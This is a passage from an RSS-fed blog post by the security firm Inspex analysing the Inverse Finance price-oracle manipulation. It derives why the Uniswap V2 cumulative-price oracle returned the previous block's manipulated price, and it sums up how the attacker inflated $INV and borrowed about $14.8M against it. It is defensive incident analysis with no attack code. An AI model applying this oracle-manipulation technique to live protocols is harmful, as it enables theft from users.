/></figure><p>The variable IUniswapV2Pair(pair).price0CumulativeLast() is replaced with {lastBlockCumulativePrice} + (lastBlockLatestPrice*blockTime). This is how the price cumulative of block number 14506359 being calculated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ccy3iExV8GqQGZChd6sCkQ.png" /></figure><p>We remove the parentheses from {lastBlockCumulativePrice} + (lastBlockLatestPrice*blockTime) to make the equation be more clearer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bvc8vKKOY7laVJBF63T9wA.png" /></figure><p>In the left parentheses, {lastBlockCumulativePrice} can be canceled each other out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TO5x1PDygHLFTy-Lhhut-g.png" /></figure><p>Then we remove the lastBlockLatestPrice*blockTime from the parentheses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p1cu2jvTcHyhKEVQhWHNMg.png" /></figure><p>The blockTime from price0Cumulative is the length time between block used in the calculation of cumulative price, which can be observed from the getReserve() function. The timestamp of block number 14506358 is 1648897434 and the timestamp number 14506359 is 1648897449. So, the value of blockTime is 15, which is also the same number of the parameter elapsed that we had considered having a flaw earlier. The value of blockTime and elapsed is the same, which will be canceled out in the calculation in the _computeAmountOut() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*zWYuxyxXw8K-3AbXY5Q-cw.png" /></figure><p>Long story short, this oracle will return the price from the last block last reserve price directly (with a condition, of course). The price from the Oracle in this block (14506359) will be the price that being manipulated from the last block (14506358).</p><h3>Conclusion</h3><p>In summary, the attacker spent around $1,737,310 (500 $ETH) to manipulate the price of $INV on Inverse Finance and exchange all assets for $INV. All exchanged $INV is used as collateral to borrow $DOLA, $ETH, $WBTC, and $YFI. The total value of borrowed assets is around $14,843,389.</p><h3>About Inspex</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*HBIpgVVZFsPHh3Nd.png" /></figure><p>Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.</p><p>For any business inquiries, please contact us via <a href="https://twitter.com/InspexCo">Twitter</a>, <a href="https://t.me/inspexco">Telegram</a>, <a href="/service/mailto:contact@inspex.co">contact@inspex.co</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b15c2e917888" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>